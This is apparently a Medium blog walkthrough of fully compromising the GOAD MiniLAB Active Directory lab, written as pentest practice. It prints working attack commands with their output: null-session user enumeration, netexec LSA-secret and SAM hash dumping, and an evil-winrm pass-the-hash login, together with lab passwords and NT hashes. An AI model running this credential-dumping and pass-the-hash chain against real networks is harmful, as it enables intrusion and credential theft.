

GOAD — MiniLAB Walkthrough

systemweakness.com/goad-minilab-walkthrough-c4038e70bde7

serkanbenol

May 10, 2026



System Weakness is a publication that specialises in publishing upcoming writers in cybersecurity and ethical hacking space. Our security experts write to make the cyber universe more secure, one vulnerability at a time.

GOAD (Game of Active Directory) is a fantastic lab for practicing AD pentest techniques. In this post, I'll walk through how I fully compromised the MiniLAB environment — including the things that *didn't* work along the way, because that's how pentesting actually goes in real life.

Press enter or click to view image in full size



The Garden of earthly delights by Hieronymus Bosch

Our targets : 172.16.20.30–172.16.20.31 I start with the very basic nmap scan :

Press enter or click to view image in full size

```
(root@kali)-[/home/kali/Desktop/goad_mini]
# nmap -Pn -p- 172.16.20.30-31
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-07 07:27 -0400
Nmap scan report for 172.16.20.30
Host is up (0.0017s latency).
Not shown: 65510 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
113/tcp   closed ident
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2000/tcp  open  cisco-sccp
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5060/tcp  open  sip
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49687/tcp open  unknown
49732/tcp open  unknown
```

Press enter or click to view image in full size

```
Nmap scan report for 172.16.20.31
Host is up (0.0022s latency).
Not shown: 65515 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
2000/tcp   open  cisco-sccp
3389/tcp   open  ms-wbt-server
5040/tcp   open  unknown
5060/tcp   open  sip
5985/tcp   open  wsman
5986/tcp   open  wsmans
7680/tcp   open  pando-pub
47001/tcp  open  winrm
49664/tcp  open  unknown
49665/tcp  open  unknown
49666/tcp  open  unknown
49667/tcp  open  unknown
49669/tcp  open  unknown
49671/tcp  open  unknown
49672/tcp  open  unknown
49689/tcp  open  unknown
49703/tcp  open  unknown
```

The scan confirmed both hosts as Windows systems. The DC (172.16.20.30) exposed the expected Active Directory service stack: **Kerberos (88)**, **LDAP (389/636)**, **SMB (445)**, **DNS (53)**, **RPC (135)**, and **WinRM (5985)**.

After I couple of trial on enumeration, I run `enum4linux-ng` against the DC to test for anonymous/null session access

Press enter or click to view image in full size

```
(root@kali)-[/home/kali/Desktop/goad_mini]
# enum4linux -a 172.16.20.30
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu May 7 07:29:35 2026

===== ( Target Information ) =====
Target ..... 172.16.20.30
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 172.16.20.30 ) =====

[+] Got domain/workgroup name: MINILAB

===== ( Nbtstat Information for 172.16.20.30 ) =====

Looking up status of 172.16.20.30
DC <00> - B <ACTIVE> Workstation Service
MINILAB <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MINILAB <1c> - <GROUP> B <ACTIVE> Domain Controllers
MINILAB <1b> - B <ACTIVE> Domain Master Browser
DC <20> - B <ACTIVE> File Server Service
```

Press enter or click to view image in full size

```
===== ( Users on 172.16.20.30 ) =====
index: 0xfb6 RID: 0x454 acb: 0x00000210 Account: bob Name: (null) Desc: (Password : superman)
index: 0xfb8 RID: 0x456 acb: 0x00000210 Account: dave Name: (null) Desc: -
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the compute
r/domain
user:[Guest] rid:[0x1f5]
user:[bob] rid:[0x454]
user:[dave] rid:[0x456]
```

Press enter or click to view image in full size

```
[+] Getting domain group memberships:

Group: 'Domain Computers' (RID: 515) has member: MINILAB\WS$
Group: 'Domain Users' (RID: 513) has member: MINILAB\Administrator
Group: 'Domain Users' (RID: 513) has member: MINILAB\vagrant
Group: 'Domain Users' (RID: 513) has member: MINILAB\krbtgt
Group: 'Domain Users' (RID: 513) has member: MINILAB\alice
Group: 'Domain Users' (RID: 513) has member: MINILAB\bob
Group: 'Domain Users' (RID: 513) has member: MINILAB\carol
Group: 'Domain Users' (RID: 513) has member: MINILAB\dave
Group: 'Group Policy Creator Owners' (RID: 520) has member: MINILAB\Administrator
Group: 'Domain Guests' (RID: 514) has member: MINILAB\Guest
Group: 'wsrdp' (RID: 1106) has member: MINILAB\dave
Group: 'wsadmin' (RID: 1105) has member: MINILAB\alice
Group: 'wsadmin' (RID: 1105) has member: MINILAB\bob
Group: 'wsadmin' (RID: 1105) has member: MINILAB\carol
```

RID cycling listed the domain users: Administrator, krbtgt, vagrant, alice, bob, carol, dave. But the real prize was in the **description** field of the user objects — bob's description had a **cleartext password** left in it.

 [Download the Medium App](#)

The things I tried but not wasn't very useful :+ asreproasting+ kerberoasting+ pivoting to the host 172.16.20.31 via psexec+ enumerating the shares..The golden shot was extracting the LSA secrets with netexec:

Press enter or click to view image in full size

```
(root@kali)-[/home/kali/Desktop/goad_mini]
# netexec smb target.txt -u bob -p superman --lsa
SMB 172.16.20.31 445 WS [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS) (domain:mini.lab) (
signing:False) (SMBv1:False)
SMB 172.16.20.30 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:mini.lab) (
signing:True) (SMBv1:False)
SMB 172.16.20.31 445 WS [+] mini.lab\bob:superman (Pwn3d!)
SMB 172.16.20.30 445 DC [+] mini.lab\bob:superman
SMB 172.16.20.31 445 WS [+] Dumping LSA secrets
SMB 172.16.20.31 445 WS MINILAB\WS$aes256-cts-hmac-sha1-96:cc167d187940faf923ecf5e00cc6bbd9381baa
f3cfebf096085fa154fbae6270
SMB 172.16.20.31 445 WS MINILAB\WS$aes128-cts-hmac-sha1-96:03daf9c6d868f1215a67b8fa60101467
SMB 172.16.20.31 445 WS MINILAB\WS$des-cbc-md5:6e0d164aa798bf67
SMB 172.16.20.31 445 WS MINILAB\WS$plain_password_hex:32b7ad64034f3e5378ce931e1aafc5e8ba5acc2b03a
e56505dc7dd9a753047d783ec87d2d6409bf1987338c9cd1fb71f05848001e4b9d73d33fcdd7047b5ab7ac377239181e90b233182ceec5eeff074781175dfe
4d1e2fe3bcc73d030ed520615019b8227350bb89a35d33ba71437fd89c5db63abbe493f919fd79efd2586d8b6f01512c231bc6927c8f5a953c3a7d0e04090b
7e7fb4fc887ca1a1a90c4f60903316e7b4815d66ac40a07e504b3f4b8a76a929de9059cdba27c95abf0b332b0b1c727d5c6c93b01c81749f9e2ce46482dfa8
9c3921704b08a1dccc200162fe6247b7682e7731f8dbd72b7ba9a07302f3
SMB 172.16.20.31 445 WS MINILAB\WS$aad3b435b51404eeaad3b435b51404ee:b572c73705554a0144baafb91dbb7
708 :::
SMB 172.16.20.31 445 WS vagrant:vagrant
SMB 172.16.20.31 445 WS dpapi_machinekey:0x00e0357f12a558add23b413fb4b1b80d90f970dd
dpapi_userkey:0xe015d3393d4bdf8fcb105aa7bc7625d882d6e25
SMB 172.16.20.31 445 WS [+] Dumped 7 LSA secrets to /root/.nxc/logs/lsa/WS_172.16.20.31_2026-05-07
_084600.secrets and /root/.nxc/logs/lsa/WS_172.16.20.31_2026-05-07_084600.cached
Running nxc against 2 targets 100% 0:00:00
```

The output had a goldmine: **vagrant**'s cleartext password. Cool!! tried dumping the local hashes on the domain controller:

Press enter or click to view image in full size

```
(root@kali)-[/home/kali/Desktop/goad_mini]
# netexec smb 172.16.20.30 -u vagrant -p vagrant --sam
SMB 172.16.20.30 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:mini.lab) (
signing:True) (SMBv1:False)
SMB 172.16.20.30 445 DC [+] mini.lab\vagrant:vagrant (Pwn3d!)
SMB 172.16.20.30 445 DC [*] Dumping SAM hashes
SMB 172.16.20.30 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e
581a1705e :::
SMB 172.16.20.30 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0 :::
SMB 172.16.20.30 445 DC DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0 :::
[08:51:05] ERROR SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash regsecrets.py:436
information.
SMB 172.16.20.30 445 DC [+] Added 3 SAM hashes to the database
```

Great! We have NT hash of the Administrator which lets us Pass-the-Hash attack :

Press enter or click to view image in full size

```
(root@kali)-[/home/kali/Desktop/goad_mini]
# evil-winrm -i 172.16.20.30 -u Administrator -H c66d72021a2d4744409969a581a1705e
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reli
ne
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
miniLab\administrator
```

I have now shell on DC, which is a full compromise of the domain!

Summarydescription field exposure (bob's password)

↓

bob → local admin on 172.16.20.31

↓

LSA Secrets dump → vagrant's cleartext password

↓

vagrant → local admin on the DC

↓

SAM dump → Administrator NT hash

↓

Pass-the-Hash → Domain Admin

Thanks for reading!

Sources : <https://www.hackingarticles.in/credential-dumping-with-netexec-nxc/>
<https://juggernaut-sec.com/pass-the-hash-attacks/>